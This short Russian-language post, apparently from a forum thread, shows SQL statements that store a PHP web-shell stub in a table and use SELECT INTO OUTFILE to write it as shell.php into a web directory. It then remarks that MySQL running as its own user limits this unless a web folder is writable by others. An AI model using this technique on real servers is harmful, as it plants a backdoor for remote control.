//Создаём таблицу shell
CREATE TABLE shell (code TEXT NULL);
//вставляем в неё сам код шела
INSERT INTO shell VALUES('<? shell(); ?>');
//выводим шел в файл
SELECT * FROM shell INTO OUTFILE '/home/PATH_TO_WWW/shell.php';
Я не знаю можно ли запретить OUTFILE для самого mysql, но mysql запущен от юзера mysql (покрайне мерее я так делаю, так рекомендует документация). Так что чтобы записать твой пхп код мало знать путь до WWW, нужно ещё иметь папочку с правами на запись для левых юзеров :]